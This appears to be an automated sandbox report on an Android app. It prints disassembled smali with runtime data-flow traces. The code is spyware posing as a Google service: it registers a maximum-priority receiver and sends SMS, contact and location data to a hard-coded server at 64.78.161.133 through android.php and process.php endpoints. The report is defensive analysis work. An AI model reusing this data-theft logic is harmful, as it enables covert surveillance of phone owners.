20cond_19: iput-boolean v1, p0, Lcom/google/services/PhoneService;->linkFlag:Z
21move v0, v1
22goto/16 :goto_18
APIs
  • android.app.Service.onCreate
  • android.content.ComponentName.<init>
  • com.google.services.PhoneService.getPackageManager
  • android.content.pm.PackageManager.getServiceInfo
  • android.os.Bundle.getString
  • java.lang.String.equals
  • com.google.services.PhoneService.getSharedPreferences
  • android.app.SharedPreferencesImpl.getString
  • java.lang.String.equals
  • java.util.Date.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.util.Date.getTime
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.SharedPreferences.edit
  • android.content.SharedPreferences$Editor.putString
  • android.content.SharedPreferences$Editor.commit
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.google.services.PhoneService.getBaseContext
  • com.google.services.PhoneService.isConnect
  • android.util.Log.i
  • android.content.IntentFilter.<init>
  • android.content.IntentFilter.setPriority
  • com.google.services.sendReceiver.<init>
  • com.google.services.PhoneService.registerReceiver
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.google.services.PhoneService.serviceInit
  • android.content.pm.PackageManager$NameNotFoundException.printStackTrace
  • android.util.Log.i
Strings
  • http://64.78.161.133
  • phone
  • telmark
  • number
  • native
  • /android.php
  • \u542f\u52a8\u4e86
  • create
  • com.google.system.receiver
  • /data/
  • /process.php
  • \u624b\u673a\u7f51\u7edc\u60c5\u51b5
  • \u624b\u673a\u6ca1\u6709\u7f51\u7edc\uff0c\u6216\u8005send\u6a21\u5757\u9519\u8bef\uff01
Position Instruction Meta Information
0.prologue
1const/4 v5, 0x1
3invoke-super {p0}, Landroid/app/Service;->onCreate()V
5const-string v0, "http://64.78.161.133"
6iput-object v0, p0, Lcom/google/services/PhoneService;->hostname:Ljava/lang/String;
7new-instance v0, Landroid/content/ComponentName;
8const-class v1, Lcom/google/services/PhoneService;
10invoke-direct {v0, p0, v1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
11try_start_f:
12invoke-virtual {p0}, Lcom/google/services/PhoneService;->getPackageManager()Landroid/content/pm/PackageManager;
13move-result-object v1
14const/16 v2, 0x80
16invoke-virtual {v1, v0, v2}, Landroid/content/pm/PackageManager;->getServiceInfo(Landroid/content/ComponentName;I)Landroid/content/pm/ServiceInfo;
  • Data flow analysis:
    • flags: 128
17move-result-object v0
19iget-object v0, v0, Landroid/content/pm/ServiceInfo;->metaData:Landroid/os/Bundle;
21const-string v1, "telmark"
23invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 169258
    • p0: telmark
    • Return:
      • phone
24move-result-object v0
25iput-object v0, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String;
26goto_23:
27iget-object v0, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String;
29const-string v1, "phone"
31invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: phone
32move-result v0
33if-eqz v0, :cond_75
35const-string v0, "number"
36const/4 v1, 0x0
38invoke-virtual {p0, v0, v1}, Lcom/google/services/PhoneService;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • p0: number
    • p1: 0
39move-result-object v0
41const-string v1, "native"
43const-string v2, ""
45invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Time: 169259
    • p0: native
    • p1: ""
    • Return:
      • ""
46move-result-object v1
47iput-object v1, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String;
49const-string v1, ""
51iget-object v2, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String;
53invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
54move-result v1
55if-eqz v1, :cond_75
56new-instance v1, Ljava/util/Date;
58invoke-direct {v1}, Ljava/util/Date;-><init>()V
59new-instance v2, Ljava/lang/StringBuilder;
61invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
63const-string v3, "phone"
65invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: phone
66move-result-object v2
68invoke-virtual {v1}, Ljava/util/Date;->getTime()J
69move-result-wide v3
71invoke-virtual {v2, v3, v4}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
72move-result-object v1
74invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
75move-result-object v1
76iput-object v1, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String;
78invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
79move-result-object v0
81const-string v1, "native"
83iget-object v2, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String;
85invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p0: native
86move-result-object v0
88invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
89cond_75:
90sget-object v0, Lcom/google/services/PhoneService;->send:Lcom/google/services/SendInfo;
91new-instance v1, Ljava/lang/StringBuilder;
93invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
95iget-object v2, p0, Lcom/google/services/PhoneService;->hostname:Ljava/lang/String;
97invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
98move-result-object v1
100const-string v2, "/android.php"
102invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /android.php
103move-result-object v1
105invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
106move-result-object v1
107iput-object v1, v0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String;
109invoke-virtual {p0}, Lcom/google/services/PhoneService;->getBaseContext()Landroid/content/Context;
110move-result-object v0
112invoke-virtual {p0, v0}, Lcom/google/services/PhoneService;->isConnect(Landroid/content/Context;)Z
114const-string v0, "\u542f\u52a8\u4e86"
116iget-object v1, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String;
118invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: \u542f\u52a8\u4e86
119iget-boolean v0, p0, Lcom/google/services/PhoneService;->linkFlag:Z
120if-ne v0, v5, :cond_f2
122sget-object v0, Lcom/google/services/PhoneService;->send:Lcom/google/services/SendInfo;
124const-string v1, "create"
126iget-object v2, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String;
128invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z
129move-result v0
130if-eqz v0, :cond_eb
131new-instance v0, Landroid/content/IntentFilter;
133const-string v1, "com.google.system.receiver"
135invoke-direct {v0, v1}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: com.google.system.receiver
136const v1, 0x7fffffff
138invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->setPriority(I)V
  • Data flow analysis:
    • priority: 2147483647
139new-instance v1, Lcom/google/services/sendReceiver;
141invoke-direct {v1}, Lcom/google/services/sendReceiver;-><init>()V
143invoke-virtual {p0, v1, v0}, Lcom/google/services/PhoneService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
145sget-object v0, Lcom/google/services/PhoneService;->send:Lcom/google/services/SendInfo;
146new-instance v1, Ljava/lang/StringBuilder;
148invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
150iget-object v2, p0, Lcom/google/services/PhoneService;->hostname:Ljava/lang/String;
152invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
153move-result-object v1
155const-string v2, "/data/"
157invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /data/
158move-result-object v1
160iget-object v2, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String;
162invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
163move-result-object v1
165const-string v2, "/process.php"
167invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /process.php
168move-result-object v1
170invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
171move-result-object v1
172iput-object v1, v0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String;
174invoke-virtual {p0}, Lcom/google/services/PhoneService;->serviceInit()V
175sput-boolean v5, Lcom/google/services/PhoneService;->Flag:Z
176cond_eb: return-void
177catch_ec: move-exception v0
179invoke-virtual {v0}, Landroid/content/pm/PackageManager$NameNotFoundException;->printStackTrace()V
180goto/16 :goto_23
181cond_f2:
182const-string v0, "\u624b\u673a\u7f51\u7edc\u60c5\u51b5"
184const-string v1, "\u624b\u673a\u6ca1\u6709\u7f51\u7edc\uff0c\u6216\u8005send\u6a21\u5757\u9519\u8bef\uff01"
186invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: \u624b\u673a\u7f51\u7edc\u60c5\u51b5
    • msg: \u624b\u673a\u6ca1\u6709\u7f51\u7edc\uff0c\u6216\u8005send\u6a21\u5757\u9519\u8bef\uff01
187goto/16 :goto_eb
APIs
  • android.content.Intent.getAction
  • java.lang.String.equals
  • android.content.Intent.getExtras
  • android.os.Bundle.containsKey
  • android.util.Log.i
  • android.os.Bundle.getString
  • java.lang.String.toString
  • android.os.Bundle.containsKey
  • android.util.Log.i
  • android.os.Bundle.get
  • java.lang.Object.toString
  • android.os.Bundle.containsKey
  • android.util.Log.i
  • android.os.Bundle.get
  • java.lang.Object.toString
  • android.os.Bundle.containsKey
  • android.os.Bundle.get
  • java.lang.Object.toString
  • com.google.services.sendReceiver$1.<init>
  • com.google.services.sendReceiver$1.start
Strings
  • com.google.system.receiver
  • \u63a5\u6536\u5230\u77ed\u4fe1\u4e86\u5427
  • no result!
  • sms
  • \u63a5\u6536\u5230\u901a\u8baf\u5f55
  • contact
  • mobile:Galaxy Nexus,SDK version:17,OS version:4.2.1#
  • \u63a5\u6536\u5230\u4f4d\u7f6e\u4fe1\u606f
  • No location found
  • location
  • other
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
4invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 230909
    • Return:
      • com.google.system.receiver
5move-result-object v0
7const-string v1, "com.google.system.receiver"
9invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: com.google.system.receiver
10move-result v0
11if-eqz v0, :cond_3e
13invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
  • Time: 230910
    • Return:
      • Bundle[{location=No location found}]
  • Time: 230930
    • Return:
      • Bundle[mParcelledData.dataSize=144]
  • Time: 231016
    • Return:
      • Bundle[{sms=no result!}]
14move-result-object v0
15if-eqz v0, :cond_3e
17const-string v1, "sms"
19invoke-virtual {v0, v1}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
  • Data flow analysis:
    • key: sms
20move-result v1
21if-eqz v1, :cond_3f
23const-string v1, "\u63a5\u6536\u5230\u77ed\u4fe1\u4e86\u5427"
25const-string v2, "sms"
27invoke-virtual {v0, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 231017
    • p0: sms
    • Return:
      • no result!
28move-result-object v2
30invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: \u63a5\u6536\u5230\u77ed\u4fe1\u4e86\u5427
32const-string v1, "sms"
33iput-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String;
35const-string v1, "sms"
37invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 231018
    • p0: sms
    • Return:
      • no result!
38move-result-object v0
40invoke-virtual {v0}, Ljava/lang/String;->toString()Ljava/lang/String;
41move-result-object v0
42iput-object v0, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String;
44iget-object v0, p0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo;
46iget-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String;
48iget-object v2, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String;
50invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z
51cond_3e: return-void
52cond_3f:
53const-string v1, "contact"
55invoke-virtual {v0, v1}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
  • Data flow analysis:
    • key: contact
56move-result v1
57if-eqz v1, :cond_6c
59const-string v1, "\u63a5\u6536\u5230\u901a\u8baf\u5f55"
61const-string v2, "contact"
63invoke-virtual {v0, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 230930
    • p0: contact
    • Return:
      • mobile:Galaxy Nexus,SDK version:17,OS version:4.2.1#
64move-result-object v2
66invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: \u63a5\u6536\u5230\u901a\u8baf\u5f55
68const-string v1, "contact"
69iput-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String;
71const-string v1, "contact"
73invoke-virtual {v0, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • key: contact
74move-result-object v0
76invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
77move-result-object v0
78iput-object v0, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String;
80iget-object v0, p0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo;
82iget-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String;
84iget-object v2, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String;
86invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z
87goto/16 :goto_3e
88cond_6c:
89const-string v1, "location"
91invoke-virtual {v0, v1}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
  • Data flow analysis:
    • key: location
92move-result v1
93if-eqz v1, :cond_99
95const-string v1, "\u63a5\u6536\u5230\u4f4d\u7f6e\u4fe1\u606f"
97const-string v2, "location"
99invoke-virtual {v0, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Time: 230912
    • p0: location
    • Return:
      • No location found
100move-result-object v2
102invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: \u63a5\u6536\u5230\u4f4d\u7f6e\u4fe1\u606f
104const-string v1, "location"
105iput-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String;
107const-string v1, "location"
109invoke-virtual {v0, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • key: location
110move-result-object v0
112invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
113move-result-object v0
114iput-object v0, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String;
116iget-object v0, p0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo;
118iget-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String;
120iget-object v2, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String;
122invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z
123goto/16 :goto_3e
124cond_99:
125const-string v1, "other"
127invoke-virtual {v0, v1}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z
  • Data flow analysis:
    • key: other
128move-result v1
129if-eqz v1, :cond_3e
131const-string v1, "other"
132iput-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String;
134const-string v1, "other"
136invoke-virtual {v0, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • key: other
137move-result-object v0
139invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
140move-result-object v0
141iput-object v0, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String;
142new-instance v0, Lcom/google/services/sendReceiver$1;
144invoke-direct {v0, p0}, Lcom/google/services/sendReceiver$1;-><init>(Lcom/google/services/sendReceiver;)V
146invoke-virtual {v0}, Lcom/google/services/sendReceiver$1;->start()V
147goto/16 :goto_3e
APIs
  • java.util.Vector.<init>
  • java.util.Vector.size
  • java.lang.String.<init>
  • java.lang.String.indexOf
  • java.lang.String.replaceAll
  • java.lang.String.length
  • java.util.Vector.add
  • java.lang.String.length
  • android.graphics.Paint.breakText
  • java.lang.String.substring
  • java.util.Vector.add
  • java.lang.String.substring
  • java.util.Vector.size
  • java.lang.String.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.getBytes
  • java.io.UnsupportedEncodingException.printStackTrace
  • java.lang.String.indexOf
  • java.lang.String.replaceAll
Strings
  • 8
  • GBK
  • \r\n
  • \n
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/Vector",
4"<",
5"Ljava/lang/String;",
6">;"
7}
8.end annotation
9.prologue
10const/4 v7, -0x1
12const-string v1, ""
13new-instance v2, Ljava/util/Vector;
15invoke-direct {v2}, Ljava/util/Vector;-><init>()V
16goto_8:
17invoke-virtual {v2}, Ljava/util/Vector;->size()I
18move-result v0
19iget v3, p0, Lcom/google/services/BookPageFactory;->mLineCount:I
20if-ge v0, v3, :cond_b5
21iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I
22iget v3, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I
23if-ge v0, v3, :cond_b5
24iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I
26invoke-virtual {p0, v0}, Lcom/google/services/BookPageFactory;->readParagraphForward(I)[B
27move-result-object v3
28iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I
29array-length v4, v3
30add-int/2addr v0, v4
31iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I
32try_start_22: new-instance v0, Ljava/lang/String;
34iget-object v4, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String;
36invoke-direct {v0, v3, v4}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
  • Time: 112836
    • p0: [B@a067c4a8
    • p0: [UNREADABLE UNICODE]
    • p0: D7F2CCECCFC2CEE7A3ACC8ABB9FAD5FED0AD0D0A
    • p1: GBK
    • Return:
      • [UNREADABLE UNICODE]
  • Time: 112860
    • p0: [B@a0977bf8
    • p0: [UNREADABLE UNICODE]
    • p0: CAAEB6FEBDECD2BBB4CEBBE1D2E9D0C2CEC50D0A
    • p1: GBK
    • Return:
      • [UNREADABLE UNICODE]
  • Time: 112889
    • p0: [B@a09833a8
    • p0: [UNREADABLE UNICODE]
    • p0: B7A2B2BCBBE1D4DAC1BDBBE1D0C2CEC5D6D00D0A
    • p1: GBK
    • Return:
      • [UNREADABLE UNICODE]
  • Time: 112890
    • p0: [B@a098eb58
    • p0: [UNREADABLE UNICODE]
    • p0: D0C4BED9D0D0A1A3D5FED0ADB4F3BBE1D0C20D0A
    • p1: GBK
    • Return:
      • [UNREADABLE UNICODE]
  • Time: 112893
    • p0: [B@a099a308
    • p0: [UNREADABLE UNICODE]
    • p0: C8CED0C2CEC5B7A2D1D4C8CBC2C0D0C2BBAA0D0A
    • p1: GBK
    • Return:
      • [UNREADABLE UNICODE]
37goto_29:
38const-string v1, ""
40const-string v3, "\r\n"
42invoke-virtual {v0, v3}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: \r\n
43move-result v3
44if-eq v3, v7, :cond_9f
46const-string v1, "\r\n"
48const-string v3, "\r\n"
50const-string v4, ""
52invoke-virtual {v0, v3, v4}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: \r\n
53move-result-object v0
54move-object v8, v1
55move-object v1, v0
56move-object v0, v8
57goto_40:
58invoke-virtual {v1}, Ljava/lang/String;->length()I
59move-result v3
60if-nez v3, :cond_49
62invoke-virtual {v2, v1}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
63cond_49:
64invoke-virtual {v1}, Ljava/lang/String;->length()I
65move-result v3
66if-lez v3, :cond_6d
68iget-object v3, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint;
69const/4 v4, 0x1
70iget v5, p0, Lcom/google/services/BookPageFactory;->mVisibleWidth:F
71const/4 v6, 0x0
73invoke-virtual {v3, v1, v4, v5, v6}, Landroid/graphics/Paint;->breakText(Ljava/lang/String;ZF[F)I
  • Data flow analysis:
    • p1: 1
    • p3: 0
74move-result v3
75const/4 v4, 0x0
77invoke-virtual {v1, v4, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
  • Data flow analysis:
    • p0: 0
78move-result-object v4
80invoke-virtual {v2, v4}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z
82invoke-virtual {v1, v3}, Ljava/lang/String;->substring(I)Ljava/lang/String;
83move-result-object v1
85invoke-virtual {v2}, Ljava/util/Vector;->size()I
86move-result v3
87iget v4, p0, Lcom/google/services/BookPageFactory;->mLineCount:I
88if-lt v3, v4, :cond_49
89cond_6d:
90invoke-virtual {v1}, Ljava/lang/String;->length()I
91move-result v3
92if-eqz v3, :cond_8
93try_start_73: iget v3, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I
94new-instance v4, Ljava/lang/StringBuilder;
96invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
98invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
99move-result-object v4
101invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
102move-result-object v0
104invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
105move-result-object v0
107iget-object v4, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String;
109invoke-virtual {v0, v4}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
110move-result-object v0
111array-length v0, v0
112sub-int v0, v3, v0
113iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I
114try_end_91: goto/16 :goto_8
115catch_93: move-exception v0
117invoke-virtual {v0}, Ljava/io/UnsupportedEncodingException;->printStackTrace()V
118goto/16 :goto_8
119catch_99: move-exception v0
121invoke-virtual {v0}, Ljava/io/UnsupportedEncodingException;->printStackTrace()V
122move-object v0, v1
123goto/16 :goto_29
124cond_9f:
125const-string v3, "\n"
127invoke-virtual {v0, v3}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: \n
128move-result v3
129if-eq v3, v7, :cond_b6
131const-string v1, "\n"
133const-string v3, "\n"
135const-string v4, ""
137invoke-virtual {v0, v3, v4}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: \n
138move-result-object v0
139move-object v8, v1
140move-object v1, v0
141move-object v0, v8
142goto/16 :goto_40
143cond_b5: return-object v2
144cond_b6: move-object v8, v1
145move-object v1, v0
146move-object v0, v8
147goto/16 :goto_40
APIs
  • android.content.IntentFilter.<init>
  • android.content.IntentFilter.setPriority
  • com.google.services.sendReceiver.<init>
  • com.google.services.PhoneService.registerReceiver
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.google.services.PhoneService.serviceInit
  • android.util.Log.i
  • com.google.services.PhoneService.getBaseContext
  • com.google.services.PhoneService.isConnect
  • android.util.Log.i
  • com.google.services.PhoneService.getBaseContext
  • com.google.services.PhoneService.isConnect
  • com.google.services.PhoneService$1$1.<init>
  • com.google.services.PhoneService$1$1.start
Strings
  • create
  • com.google.system.receiver
  • /data/
  • /process.php
  • \u5b9a\u65f6\u5668\u7684RUN
  • \u6574\u4e2a\u5b9a\u65f6\u5668\u7684\u5faa\u73af\u7ed3\u675f\u4e86\uff01\uff01
  • RUN\u91cc\u9762
  • ERROR
Position Instruction Meta Information
0.prologue
1const/4 v2, 0x1
2try_start_1: sget-boolean v0, Lcom/google/services/PhoneService;->Flag:Z
3if-nez v0, :cond_7e
5iget-object v0, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService;
6iget-boolean v0, v0, Lcom/google/services/PhoneService;->linkFlag:Z
7if-ne v0, v2, :cond_69
9sget-object v0, Lcom/google/services/PhoneService;->send:Lcom/google/services/SendInfo;
11const-string v1, "create"
13iget-object v2, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService;
15iget-object v2, v2, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String;
17invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z
18move-result v0
19if-eqz v0, :cond_61
20new-instance v0, Landroid/content/IntentFilter;
22const-string v1, "com.google.system.receiver"
24invoke-direct {v0, v1}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: com.google.system.receiver
25const v1, 0x7fffffff
27invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->setPriority(I)V
  • Data flow analysis:
    • priority: 2147483647
28new-instance v1, Lcom/google/services/sendReceiver;
30invoke-direct {v1}, Lcom/google/services/sendReceiver;-><init>()V
32iget-object v2, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService;
34invoke-virtual {v2, v1, v0}, Lcom/google/services/PhoneService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
  • Time: 230821
    • p0: com.google.services.sendReceiver@a0a681c0
    • p1: android.content.IntentFilter@a0671120
    • p1.getAction0: com.google.system.receiver
    • Return:
      • null
36sget-object v0, Lcom/google/services/PhoneService;->send:Lcom/google/services/SendInfo;
37new-instance v1, Ljava/lang/StringBuilder;
39invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
41iget-object v2, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService;
43iget-object v2, v2, Lcom/google/services/PhoneService;->hostname:Ljava/lang/String;
45invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
46move-result-object v1
48const-string v2, "/data/"
50invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /data/
51move-result-object v1
53iget-object v2, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService;
55iget-object v2, v2, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String;
57invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
58move-result-object v1
60const-string v2, "/process.php"
62invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: /process.php
63move-result-object v1
65invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
66move-result-object v1
67iput-object v1, v0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String;
69iget-object v0, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService;
71invoke-virtual {v0}, Lcom/google/services/PhoneService;->serviceInit()V
72const/4 v0, 0x1
73sput-boolean v0, Lcom/google/services/PhoneService;->Flag:Z
74try_end_61:
75const-string v0, "\u5b9a\u65f6\u5668\u7684RUN"
77const-string v1, "\u6574\u4e2a\u5b9a\u65f6\u5668\u7684\u5faa\u73af\u7ed3\u675f\u4e86\uff01\uff01"
79invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: \u5b9a\u65f6\u5668\u7684RUN
    • msg: \u6574\u4e2a\u5b9a\u65f6\u5668\u7684\u5faa\u73af\u7ed3\u675f\u4e86\uff01\uff01
80return-void
81cond_69:
82iget-object v0, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService;
84iget-object v1, p0, Lcom/google/services/PhoneService$1;->this$0:Lcom/google/services/PhoneService;
86invoke-virtual {v1}, Lcom/google/services/PhoneService;->getBaseContext()Landroid/content/Context;
87move-result-object v1
